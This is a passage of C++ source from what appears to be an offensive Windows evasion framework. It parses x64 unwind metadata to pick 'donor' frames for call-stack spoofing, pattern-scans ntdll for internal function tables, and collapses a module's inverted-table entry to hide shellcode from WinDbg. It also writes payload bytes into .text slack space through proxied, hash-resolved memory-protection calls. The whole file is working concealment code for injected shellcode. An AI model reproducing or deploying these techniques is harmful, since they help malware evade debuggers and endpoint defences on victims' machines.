OpInfo = UnwindCode->OpInfo;
/* First slot read (the opcode itself)
now advance to the next slot because the size is there
*/
UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); /* PWORD = 2 bytes, One slot = 2 bytes */
Node++;
if (OpInfo == 0) {
/* FrameOffset * 8 = allocation byte count */
FrameSize += (DWORD)UnwindCode->FrameOffset * 8;
} else {
/* Build a 32-bit number from two consecutive FrameOffset values
slot N+1 = low 16 bits, slot N+2 = high 16 bits
*/
DWORD Low = UnwindCode->FrameOffset;
UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1);
Node++;
FrameSize += Low | ((DWORD)UnwindCode->FrameOffset << 16);
}
*pdwTarget += FrameSize;
break;
}
case UWOP_ALLOC_SMALL: {
/* (OpInfo + 1) * 8 = Allocation size */
*pdwTarget += sizeof(PVOID) * (UnwindCode->OpInfo + 1);
FrameSize += sizeof(PVOID) * (UnwindCode->OpInfo + 1);
break;
}
case UWOP_SET_FPREG:
/* lea rbp, [rsp + x] frame pointer setup
RSP unchanged, just skip
*/
break;
case UWOP_SAVE_NONVOL: {
/* Register saved via MOV, not push - 1 extra slot for the offset value
RSP unchanged, just skip
*/
UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1);
Node++;
break;
}
case UWOP_SAVE_NONVOL_BIG: {
/* Same thing but with 32-bit offset -> 2 extra slots */
UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 2);
Node += 2;
break;
}
case UWOP_EPILOG: /* 6 */
case UWOP_SAVE_XMM128: {
/* XMM register save - 1 extra slot, RSP unchanged */
UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1);
Node++;
break;
}
case UWOP_SPARE_CODE: /* 7 */
case UWOP_SAVE_XMM128BIG: {
/* XMM register save with 32-bit offset -> 2 extra slots */
UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 2);
Node += 2;
break;
}
case UWOP_PUSH_MACH_FRAME: {
/* Hardware interrupt frame - 0x40 or 0x48 bytes */
if (UnwindCode->OpInfo == 0) {
*pdwTarget += 0x40;
FrameSize += 0x40;
} else {
*pdwTarget += 0x48;
FrameSize += 0x48;
}
break;
}
}
/* Advance to next opcode */
UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1);
Node++;
}
/* If UNW_FLAG_CHAININFO is set, another RUNTIME_FUNCTION
pointer follows the UnwindCode array
in that case, recursively parse that entry too
*/
if (BitChainInfo(UnwindInfo->Flags)) {
if (!pModule)
return FrameSize;
Node = UnwindInfo->CountOfCodes;
if (Node & 1) Node++; /* Align to even */
PRUNTIME_FUNCTION RtFunc = (PRUNTIME_FUNCTION)(&UnwindInfo->UnwindCode[Node]);
return CalculateUnwindFrameSize(pModule, (PVOID)((ULONG_PTR)pModule + RtFunc->UnwindData), pdwTarget);
}
return FrameSize;
}
/*================================================
@ FindDonorByFrameSize Function
# Scans .pdata to find a donor function with a
# compatible frame size. Filters for UHANDLER
# flag and enforces x64 ABI stack alignment
# (difference % 16 == 8)
================================================*/
PRUNTIME_FUNCTION Unwinder::FindDonorByFrameSize(
_In_ PVOID pModule,
_In_ DWORD dwFrameSize,
_In_ BOOL bStrict,
OUT PDWORD pdwActual
) {
DWORD Size = 0;
PRUNTIME_FUNCTION RtTable = (PRUNTIME_FUNCTION)Resolver::ResolveExceptionDirectory(pModule, &Size);
DWORD Count = Size / sizeof(RUNTIME_FUNCTION);
if (!RtTable)
return nullptr;
for (int i = 0; i < Count; i++) {
DWORD UnwindRVA = RtTable[i].UnwindData;
if (!UnwindRVA || (UnwindRVA & 0x1))
continue;
PUNWIND_INFO UnwindInfo = (PUNWIND_INFO)((PBYTE)pModule + UnwindRVA);
/* Skip entries without UNW_FLAG_UHANDLER
Reason -> functions with handlers have more complete UNWIND_INFO
*/
if (!(UnwindInfo->Flags & UNW_FLAG_UHANDLER))
continue;
DWORD Pointless = 0;
DWORD Actual = Unwinder::CalculateUnwindFrameSize(pModule, UnwindInfo, &Pointless);
if (bStrict && Actual == dwFrameSize) {
if (pdwActual)
*pdwActual = 0;
return &RtTable[i];
}
else if (!bStrict && Actual >= (dwFrameSize + 0x28) && Actual <= (dwFrameSize + 0x500)) {
DWORD Difference = Actual - dwFrameSize;
if ((Difference % 16) == 8) {
if (pdwActual)
*pdwActual = Difference;
return &RtTable[i];
}
}
}
#ifdef DEBUG
DBGPRINT("[-] No Donor Found For Frame Size 0x%lx \n", dwFrameSize);
#endif
return nullptr;
}
/*================================================
@ UnlockPDataSection Function
# Sets .pdata memory protection to PAGE_READWRITE
# via proxied NtProtectVirtualMemory. Required
# before any .pdata manipulation
================================================*/
NTSTATUS Unwinder::UnlockPDataSection(
_In_ PVOID pModule
) {
SECTION_INFO SectionInfo = { 0 };
DWORD OldProtect = 0;
Resolver::ResolvePDataSectionInfo(pModule, &SectionInfo);
PVOID BaseAddress = SectionInfo.VirtualAddress;
SIZE_T RegionSize = SectionInfo.VirtualSize;
return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &OldProtect);
}
/*================================================
@ LockPDataSection Function
# Restores .pdata memory protection to
# PAGE_READONLY via proxied NtProtectVirtualMemory
================================================*/
NTSTATUS Unwinder::LockPDataSection(
_In_ PVOID pModule
) {
SECTION_INFO SectionInfo = { 0 };
DWORD OldProtect = 0;
Resolver::ResolvePDataSectionInfo(pModule, &SectionInfo);
PVOID BaseAddress = SectionInfo.VirtualAddress;
SIZE_T RegionSize = SectionInfo.VirtualSize;
return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READONLY, &OldProtect);
}
/*================================================
@ UnlockTextSection Function
# Sets .text memory protection to PAGE_EXECUTE_READWRITE
# via proxied NtProtectVirtualMemory.
================================================*/
NTSTATUS Unwinder::UnlockTextSection(
_In_ PVOID pModule
) {
SECTION_INFO SectionInfo = { 0 };
DWORD OldProtect = 0;
Resolver::ResolveTextSectionInfo(pModule, &SectionInfo);
PVOID BaseAddress = SectionInfo.VirtualAddress;
SIZE_T RegionSize = SectionInfo.VirtualSize;
return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READWRITE, &OldProtect);
}
/*================================================
@ LockTextSection Function
# Restores .text memory protection to
# PAGE_EXECUTE_READ via proxied NtProtectVirtualMemory
================================================*/
NTSTATUS Unwinder::LockTextSection(
_In_ PVOID pModule
) {
SECTION_INFO SectionInfo = { 0 };
DWORD OldProtect = 0;
Resolver::ResolveTextSectionInfo(pModule, &SectionInfo);
PVOID BaseAddress = SectionInfo.VirtualAddress;
SIZE_T RegionSize = SectionInfo.VirtualSize;
return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READ, &OldProtect);
}
/*================================================
@ ResolveDynamicFunctionTablePtrs Function
# Locates the _DYNAMIC_FUNCTION_TABLE linked list
# head pointer and sentinel by pattern scanning
# RtlAddFunctionTable's machine code for the
# MOV/LEA/CMP triple instruction sequence
================================================*/
BOOL Unwinder::ResolveDynamicFunctionTablePtrs(
_In_ HANDLE hProcess,
OUT PULONG_PTR puHeadPtr,
OUT PULONG_PTR puSentinel
) {
/* Get Ntdll Info */
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
ULONG_PTR NtdllBase = (ULONG_PTR)Ntdll;
auto Nt = (PIMAGE_NT_HEADERS)(NtdllBase + ((PIMAGE_DOS_HEADER)NtdllBase)->e_lfanew);
SIZE_T NtdllSize = Nt->OptionalHeader.SizeOfImage;
/* Find RtlAddFunctionTable's address */
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
if (!FnAddress)
return FALSE;
/* Read the function's machine code */
BYTE Buffer[1024] = { 0 };
Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer));
/* Helper lambdas */
/* InNtdll: checks if an address falls within ntdll's address range
prevents false positives - a random RIP-relative reference
pointing outside ntdll is invalid
*/
auto InNtdll = [&](ULONG_PTR uAddress) {
return uAddress > NtdllBase && uAddress < NtdllBase + NtdllSize;
};
/* RipRel: resolves RIP-relative addressing
x64 MOV/LEA [RIP+offset] pattern works as follows:
instruction address + instruction length + rel32 = target address
*/
auto RipRel = [&](int i, int Off, int Len) -> ULONG_PTR {
INT32 Rel = 0;
Primitive::MemoryCopy(&Rel, &Buffer[i + Off], sizeof(INT32));
return FnAddress + i + Len + Rel;
};
/*
Pattern Search: RtlAddFunctionTable inserts a new entry into the linked list
to do this it must load the head pointer and sentinel
Pattern We're looking for:
48 8B 05 [rel32] -> MOV RAX, [RIP + offset] (Load Head Pointer)
48 8D 0D [rel32] -> LEA RCX, [RIP + offset] (Load Sentinel Address)
48 39 08 -> CMP [RAX], RCX (Check If List Is Empty)
*/
for (int i = 0; i < 1004; i++) {
/* Find MOV RAX, [RIP+OFFSET]
48 = REX.W prefix (64-bit operand)
8B = MOV opcode
05 = ModR/M: [RIP+disp32] -> RAX
*/
if (Buffer[i] != 0x48 || Buffer[i + 1] != 0x8B || Buffer[i + 2] != 0x05)
continue;
ULONG_PTR HeadPtr = RipRel(i, 3, 7); /* Offset starts at byte 3, Instruction is 7 bytes long */
if (!(InNtdll(HeadPtr)))
continue; /* If Head pointer is outside ntdll, this is a false match */
/* Find LEA RCX, [RIP + offset] */
for (int j = i + 7; j < i + 48 && j < 1014; j++) {
if (Buffer[j] != 0x48 || Buffer[j + 1] != 0x8D)
continue;
if ((Buffer[j + 2] & 0xC7) != 0x05)
continue;
ULONG_PTR Sentinel = RipRel(j, 3, 7);
if (!(InNtdll(Sentinel)))
continue;
/* Find CMP [RAX], RCX */
for (int k = j + 7; k < j + 16 && k < 1021; k++) {
if (Buffer[k] == 0x48 && Buffer[k + 1] == 0x39 && Buffer[k + 2] == 0x08) {
/* Triple pattern matched -> head and sentinel found*/
*puHeadPtr = HeadPtr;
*puSentinel = Sentinel;
#ifdef DEBUG
DBGPRINT("[*] Triple Pattern Matched \n");
DBGPRINT("[i] \tHead Pointer -> %Ix \n", HeadPtr);
DBGPRINT("[i] \tSentinel -> %Ix \n", Sentinel);
#endif
return TRUE;
}
}
}
}
#ifdef DEBUG
DBGPRINT("[-] Could Not Find Head And Sentinel Pointer - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
/*================================================
@ LocateDynamicFunctionTableEntry Function
# Walks the _DYNAMIC_FUNCTION_TABLE linked list
# to find the entry whose address range covers
# the shellcode. Used to modify the Type field
# for WinDbg bypass (Type = 0 trick)
================================================*/
PDYNAMIC_FUNCTION_TABLE Unwinder::LocateDynamicFunctionTableEntry(
_In_ ULONG_PTR uAddress
) {
ULONG_PTR HeadPtr = 0;
ULONG_PTR Sentinel = 0;
if (!Unwinder::ResolveDynamicFunctionTablePtrs(NtCurrentProcess(), &HeadPtr, &Sentinel)) {
return nullptr;
}
/* Head Pointer -> Address of the first entry
Sentinel -> End of the list (circular list guard)
*/
ULONG_PTR Current = *(PULONG_PTR)HeadPtr;
INT i = 0;
while (Current != Sentinel) {
PDYNAMIC_FUNCTION_TABLE DynamicEntry = (PDYNAMIC_FUNCTION_TABLE)Current;
/* MinimumAddress <= Address < MaximumAddress -> this entry covers our shellcode */
if (uAddress >= DynamicEntry->MinimumAddress && uAddress < DynamicEntry->MaximumAddress)
return DynamicEntry;
/* Move to the next entry in the linked list */
Current = (ULONG_PTR)DynamicEntry->Links.Flink;
if (++i > 1000)
break;
}
return nullptr;
}
/*================================================
@ LocateInvertedFunctionTable Function
# Finds _INVERTED_FUNCTION_TABLE address and its
# SRW lock by chaining through RtlLookupFunction
# Entry -> RtlpxLookupFunctionTable, collecting
# RIP-relative references, and identifying the
# lock via RtlAcquireSRWLockShared call proximity
================================================*/
BOOL Unwinder::LocateInvertedFunctionTable(
OUT PINVERTED_FUNCTION_TABLE* ppInvertedTable,
OUT PRTL_SRWLOCK* ppSrwLock
) {
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
ULONG_PTR NtdllBase = (ULONG_PTR)Ntdll;
auto Nt = (PIMAGE_NT_HEADERS)(NtdllBase + ((PIMAGE_DOS_HEADER)NtdllBase)->e_lfanew);
SIZE_T NtdllSize = Nt->OptionalHeader.SizeOfImage;
auto InNtdll = [&](ULONG_PTR A) {
return A > NtdllBase && A < NtdllBase + NtdllSize;
};
auto RipRel = [&](const BYTE* B, int i, int Off, int Len, ULONG_PTR Base) -> ULONG_PTR {
INT32 Rel = 0;
Primitive::MemoryCopy(&Rel, (PVOID)&B[i + Off], sizeof(INT32));
return Base + i + Len + Rel;
};
/* Step 1: Try KiUserInvertedFunctionTable export
Some Windows builds export this table directly
fastest path - if found, no pattern scan needed
*/
ULONG_PTR TableAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("KiUserInvertedFunctionTable"));
/* Step 2: Read RtlLookupFunctionEntry's machine code
This function is called during stack walks
internally it calls RtlpxLookupFunctionTable
we find that CALL to learn the inner function's address
*/
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
if (!FnAddress)
return FALSE;
BYTE Buffer[1024] = { 0 };
Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer));
/* Step 3: Find RtlpxLookupFunctionTable
looking for the first E8 (CALL rel32) in RtlLookupFunctionEntry
this CALL most likely targets RtlpxLookupFunctionTable
*/
ULONG_PTR RtlpxAddress = 0;
for (int i = 0; i < 1019; i++) {
if (Buffer[i] != 0xE8)
continue;
INT32 Rel = 0;
Primitive::MemoryCopy(&Rel, &Buffer[i + 1], 4);
ULONG_PTR Target = FnAddress + i + 5 + Rel;
if (InNtdll(Target)) {
RtlpxAddress = Target;
break;
}
}
if (!RtlpxAddress)
return FALSE;
/* Step 4: Read RtlpxLookupFunctionTable machine code */
BYTE Buffer2[1024] = { 0 };
Primitive::MemoryCopy(Buffer2, (PVOID)RtlpxAddress, sizeof(Buffer2));
/* Step 5: Collect all RIP-relative references
Inside RtlpxLookupFunctionTable:
LEA Rxx, [RIP+offset] -> Loads address of a global variable
MOV Rxx, [RIP+offset] -> Loads a global pointer
one of these references is _INVERTED_FUNCTION_TABLE
another is the SRW lock
we don't know which is which yet - we'll distinguish in later steps
*/
struct RipRef {int Offset; BYTE Op; ULONG_PTR Target; };
RipRef Refs[64] = { 0 };
INT nRefs = 0;
for (int i = 0; i < 1017 && nRefs < 64; i++) {
/* REX prefix: 0x48 (W) or 0x4C (WR) */
if (Buffer2[i] != 0x48 && Buffer2[i] != 0x4C)
continue;
/* 0x8B = MOV, 0x8D = LEA */
if (Buffer2[i + 1] != 0x8B && Buffer2[i + 1] != 0x8D)
continue;
if ((Buffer2[i + 2] & 0xC7) != 0x05)
continue;
ULONG_PTR Target = RipRel(Buffer2, i, 3, 7, RtlpxAddress);
if (!InNtdll(Target))
continue;
Refs[nRefs++] = {i, Buffer2[i + 1], Target };
}
/* Step 6: Find the SRW lock
RtlpxLookupFunctionTable acquires a lock before reading the table:
LEA RCX, [RIP+offset] <- Load lock address
CALL RtlAcquireSRWLockShared <- Acquire lock
*/
ULONG_PTR LockAddress = 0;
ULONG_PTR AcquireShared = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockShared"));
for (int i = 5; i < 1019; i++) {
if (Buffer2[i] != 0xE8)
continue;
INT32 Rel = 0;
Primitive::MemoryCopy(&Rel, &Buffer2[i + 1], 4);
ULONG_PTR CallTarget = RtlpxAddress + i + 5 + Rel;
/* Is this CALL targeting RtlAcquireSRWLockShared ? */
if (CallTarget != AcquireShared)
continue;
/* Yes -> there's a LEA just before it
Scan bbackwards up to 16 bytes
*/
for (int j = i - 1; j >= (i - 16 > 0 ? i - 16 : 0); j--) {
if (Buffer2[j] != 0x48 && Buffer2[j] != 0x4C)
continue;
if (Buffer2[j + 1] != 0x8D)
continue;
if ((Buffer2[j + 2] & 0xC7) != 0x05)
continue;
ULONG_PTR Candidate = RipRel(Buffer2, j, 3, 7, RtlpxAddress);
if (InNtdll(Candidate)) {
LockAddress = Candidate;
break;
}
}
if (LockAddress)
break;
}
/* Step 7: determine table address (if export was not found)
Find the LEA reference that is NOT the lock
that reference is the _INVERTED_FUNCTION_TABLE address
Validation: the first DWORD at the referenced location
is the table's Count field - should be a reasonable value (0-512)
*/
if (!TableAddress) {
for (int i = 0; i < nRefs; i++) {
if (Refs[i].Op != 0x8D)
continue;
if (Refs[i].Target == LockAddress)
continue;
ULONG_PTR TblCandidate = *(PULONG_PTR)Refs[i].Target;
if (!TblCandidate)
continue;
/* Count field sanity check */
ULONG Count = *(ULONG*)TblCandidate;
if (Count == 0 || Count > 512)
continue;
TableAddress = TblCandidate;
break;
}
}
if (!LockAddress || !TableAddress)
return FALSE;
#ifdef DEBUG
DBGPRINT("[+] Inverted Function Table -> 0x%p \n", (PVOID)TableAddress);
DBGPRINT("[+] SRW Lock -> 0x%p \n", (PVOID)LockAddress);
#endif
*ppInvertedTable = (PINVERTED_FUNCTION_TABLE)TableAddress;
*ppSrwLock = (PRTL_SRWLOCK)LockAddress;
return TRUE;
}
/*================================================
@ ResolveLdrMrdataProtector Function
# Locates the unexported LdrProtectMrdata function
# by scanning RtlAddFunctionTable for the byte
# pattern 33 C9 48 89 43 28 E8 and resolving
# the CALL target via rel32 offset
================================================*/
BOOL Unwinder::ResolveLdrMrdataProtector(
OUT fnLdrProtectMrdata* pOutFnPtr
) {
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
BYTE Buffer[512] = { 0 };
Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer));
/* Pattern: 33 C9 48 89 43 28 E8
XOR ECX, ECX | MOV [RBX+28H], RAX | CALL LdrProtectMrdata
*/
const BYTE Pattern[] = { 0x33, 0xC9, 0x48, 0x89, 0x43, 0x28, 0xE8 };
for (int i = 0; i < (int)(sizeof(Buffer) - sizeof(Pattern)); i++) {
if (Primitive::MemoryCompare(&Buffer[i], Pattern, sizeof(Pattern)) != 0)
continue;
INT32 Rel = 0;
Primitive::MemoryCopy(&Rel, &Buffer[i + 7], sizeof(INT32));
ULONG_PTR Candidate = FnAddress + i + 7 + 4 + Rel;
if (Candidate > (ULONG_PTR)Ntdll && Candidate < (ULONG_PTR)Ntdll + 0x200000) {
*pOutFnPtr = (fnLdrProtectMrdata)Candidate;
#ifdef DEBUG
DBGPRINT("[+] LdrProtectMrdata Resolved -> 0x%p \n", (PVOID)Candidate);
#endif
return TRUE;
}
}
#ifdef DEBUG
DBGPRINT("[-] LdrProtectMrdata Not Found - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
/*================================================
@ CollapseInvertedTableEntry Function
# Sets ImageSize to 0 in _INVERTED_FUNCTION_TABLE
# for the target module. Acquires exclusive SRW
# lock and unprotects .mrdata before writing.
# This hides the shellcode from WinDbg lookups
================================================*/
BOOL Unwinder::CollapseInvertedTableEntry(
_In_ PVOID pModule,
OUT PULONG puOldSize
) {
PINVERTED_FUNCTION_TABLE InvertedTable = nullptr;
PRTL_SRWLOCK SrwLock = nullptr;
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
fnLdrProtectMrdata LdrProtectMrData = nullptr;
Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData);
if (!LdrProtectMrData)
return FALSE;
if (!Unwinder::LocateInvertedFunctionTable(&InvertedTable, &SrwLock))
return FALSE;
if (!InvertedTable || !SrwLock)
return FALSE;
Acquire(SrwLock);
LdrProtectMrData(FALSE);
BOOL Found = FALSE;
for (int i = 0; i < InvertedTable->Count; i++) {
if (InvertedTable->Entries[i].ImageBase != pModule)
continue;
*puOldSize = InvertedTable->Entries[i].ImageSize;
InvertedTable->Entries[i].ImageSize = 0;
Found = TRUE;
break;
}
LdrProtectMrData(TRUE);
Release(SrwLock);
return Found;
}
/*================================================
@ LocateTextAppendCursor Function (static)
# Scans .text section backwards from the end to
# find the first usable slack space (0xCC/0x00).
# Returns aligned pointer to the free region
================================================*/
static PUBYTE LocateTextAppendCursor(
_In_ const SECTION_INFO* pSectionInfo,
_In_ SIZE_T sAlignment,
OUT SIZE_T* pSkipped,
OUT SIZE_T* pAvailable
) {
if (!pSectionInfo || !pSectionInfo->VirtualAddress || !pSectionInfo->VirtualSize)
return nullptr;
PUBYTE pBase = (PUBYTE)pSectionInfo->VirtualAddress;
SIZE_T dwSize = (pSectionInfo->VirtualSize + 0x1000) & 0xFFFFF000;
PUBYTE p = pBase + (dwSize - 1);
SIZE_T Skipped = 0;
for (;;) {
if (p < pBase) break;
UBYTE b = *p;
if (b != 0xCC && b != 0x00) break;
--p;
++Skipped;
}
PUBYTE pFirstFree = (p < pBase) ? pBase : (p + 1);
if (sAlignment && (sAlignment & (sAlignment - 1)) == 0) {
ULONG_PTR v = (ULONG_PTR)pFirstFree;
ULONG_PTR Aligned = (v + (sAlignment - 1)) & ~(ULONG_PTR)(sAlignment - 1);
if (Aligned < v) return nullptr;
pFirstFree = (PUBYTE)Aligned;
}
if (pFirstFree < pBase || (SIZE_T)(pFirstFree - pBase) > dwSize)
return nullptr;
if (pSkipped) *pSkipped = Skipped;
if (pAvailable) *pAvailable = (SIZE_T)(pBase + dwSize - pFirstFree);
return pFirstFree;
}
/*================================================
@ AppendCodeToText Function
# Writes code into .text section slack space.
# Finds cursor via LocateTextAppendCursor, unlocks
# .text, copies payload, re-locks. Returns the
# RVA of the written code via pdwBeginRva
================================================*/
BOOL Unwinder::AppendCodeToText(
_In_ PVOID pModule,
_In_ PVOID pCode,
_In_ DWORD dwCodeSize,
OUT PDWORD pdwBeginRva
) {
static DWORD s_dwBytesWritten = 0;
SECTION_INFO SectionInfo = { 0 };
SIZE_T Skipped = 0;
SIZE_T Available = 0;
Resolver::ResolveTextSectionInfo(pModule, &SectionInfo);
PUBYTE pAppendAt = LocateTextAppendCursor(&SectionInfo, 1024, &Skipped, &Available);
if (!pAppendAt)
return FALSE;
pAppendAt += s_dwBytesWritten;
Available -= s_dwBytesWritten;
if (Available < dwCodeSize)
return FALSE;
*pdwBeginRva = (DWORD)((ULONG_PTR)pAppendAt - (ULONG_PTR)pModule);
NTSTATUS Status = Unwinder::UnlockTextSection(pModule);
if (!NT_SUCCESS(Status))
return FALSE;
Primitive::MemoryCopy(pAppendAt, pCode, dwCodeSize);
Unwinder::LockTextSection(pModule);
s_dwBytesWritten += dwCodeSize;
return TRUE;
}
/*================================================
@ ResolveFunctionSize Function
# Looks up a function's RUNTIME_FUNCTION entry
# by its RVA and returns EndAddress - BeginAddress
================================================*/
DWORD Unwinder::ResolveFunctionSize(
_In_ PVOID pModule,
_In_ PVOID pFunction
) {
DWORD Size = 0;
DWORD FunctionRva = (DWORD)((ULONG_PTR)pFunction - (ULONG_PTR)pModule);
PRUNTIME_FUNCTION RtTable = (PRUNTIME_FUNCTION)Resolver::ResolveExceptionDirectory(pModule, &Size);
DWORD Count = Size / sizeof(RUNTIME_FUNCTION);
if (!RtTable)
return 0;
for (DWORD i = 0; i < Count; i++) {
if (RtTable[i].BeginAddress == FunctionRva)
return RtTable[i].EndAddress - RtTable[i].BeginAddress;
}
#ifdef DEBUG
DBGPRINT("[-] Function Not Found In .pdata -> RVA: 0x%lx \n", FunctionRva);
#endif
return 0;
}
/*================================================
@ ExpandInvertedTableEntry Function
# Restores ImageSize to its original value in
# _INVERTED_FUNCTION_TABLE. Called by
# RevertAllSpoofChanges during cleanup to undo
# the CollapseInvertedTableEntry operation
================================================*/
BOOL Unwinder::ExpandInvertedTableEntry(
_In_ PVOID pModule,
_In_ ULONG ulOldSize
) {
PINVERTED_FUNCTION_TABLE InvertedTable = nullptr;
PRTL_SRWLOCK SrwLock = nullptr;
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
fnLdrProtectMrdata LdrProtectMrData = nullptr;
Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData);
if (!LdrProtectMrData)
return FALSE;
if (!Unwinder::LocateInvertedFunctionTable(&InvertedTable, &SrwLock))
return FALSE;
if (!InvertedTable || !SrwLock)
return FALSE;
Acquire(SrwLock);
LdrProtectMrData(FALSE);
BOOL Found = FALSE;
for (int i = 0; i < InvertedTable->Count; i++) {
if (InvertedTable->Entries[i].ImageBase != pModule)
continue;
InvertedTable->Entries[i].ImageSize = ulOldSize;
Found = TRUE;
break;
}
LdrProtectMrData(TRUE);
Release(SrwLock);
return Found;
}